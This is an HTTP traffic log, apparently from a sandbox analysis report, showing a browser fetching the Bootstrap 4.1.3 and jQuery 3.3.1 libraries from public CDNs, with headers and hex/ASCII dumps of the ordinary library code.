2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b 76 Data Ascii: ll),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];v
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 Data Ascii: test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirecti
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 22 Data Ascii: get:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+" "
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 69 Data Ascii: t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",i

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:27 UTC	613	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:04:27 UTC	947	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:04:27 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-CachedAt: 10/31/2023 18:58:40 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1048 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: f4f838df79fc133911a060d7c6bb0f5c CDN-Cache: HIT CF-Cache-Status: HIT Age: 3789597 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 87d159cd3ab55740-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 17:04:27 UTC	422	IN	Data Raw: 37 62 66 65 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bfe/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c Data Ascii: uery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 3b 74 Data Ascii: Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;t
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: rguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function(
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 62 Data Ascii: w _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A='[data-toggle="b
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 6d 2e 66 6e 5b 70 5d 2e 43 6f Data Ascii: ();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].Co
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 26 26 74 68 69 73 2e 6e 65 78 74 28 29 7d 2c 74 Data Ascii: elector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},t
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e Data Ascii: t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){return
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 Data Ascii: f(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.que
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 73 28 42 Data Ascii: ring"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(B

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:27 UTC	593	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:04:27 UTC	518	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 187882 Date: Wed, 01 May 2024 17:04:27 GMT Via: 1.1 varnish X-Served-By: cache-lga21978-LGA X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1714583068.684455,VS0,VE1 Vary: Accept-Encoding
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2024-05-01 17:04:27 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 